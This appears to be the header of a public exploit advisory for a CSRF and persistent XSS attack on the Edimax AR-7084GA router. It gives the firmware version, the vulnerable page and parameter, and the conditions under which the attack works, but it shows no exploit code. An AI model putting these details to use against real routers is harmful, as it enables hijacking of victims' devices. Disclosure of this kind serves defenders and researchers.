Edimax AR-7084GA Router CSRF + Persistent XSS Exploit
Firmware version: 2.9.8.1(RUE0.C2A)3.7.6.1
Vulnerable page: http://[xx.xx.xx.xx]/advanced/adv_nat_virsvr.htm
Author: l3D
Sites: http://xraysecurity.blogspot.com, http://nullbyte.org.il
IRC: irc://irc.nix.co.il
Email: pupipup33@gmail.com

Like every CSRF attack, the victim must be logged in first before he
opens this malicious page.
Then he should wait some seconds until the router receives all the requests.
It may take few tries until it works.
The code should be split into parts because the router limits the
VIRTUALSVR_Application parameter length.
The author doesn't take any responsibility for what you do with that code.
